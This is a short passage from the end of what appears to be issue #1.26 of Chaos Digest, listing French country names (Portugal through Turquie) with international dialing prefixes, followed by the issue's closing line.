  600. Portugal         19 00 351
  601. Royaume-Uni      19 00 44
  602. Singapour        19 00 65
  603. Suede            19 00 46
  604. Turquie          19 00 90
  605.  
  606. ------------------------------
  607.  
  608. End of Chaos Digest #1.26
  609. ************************************
  610.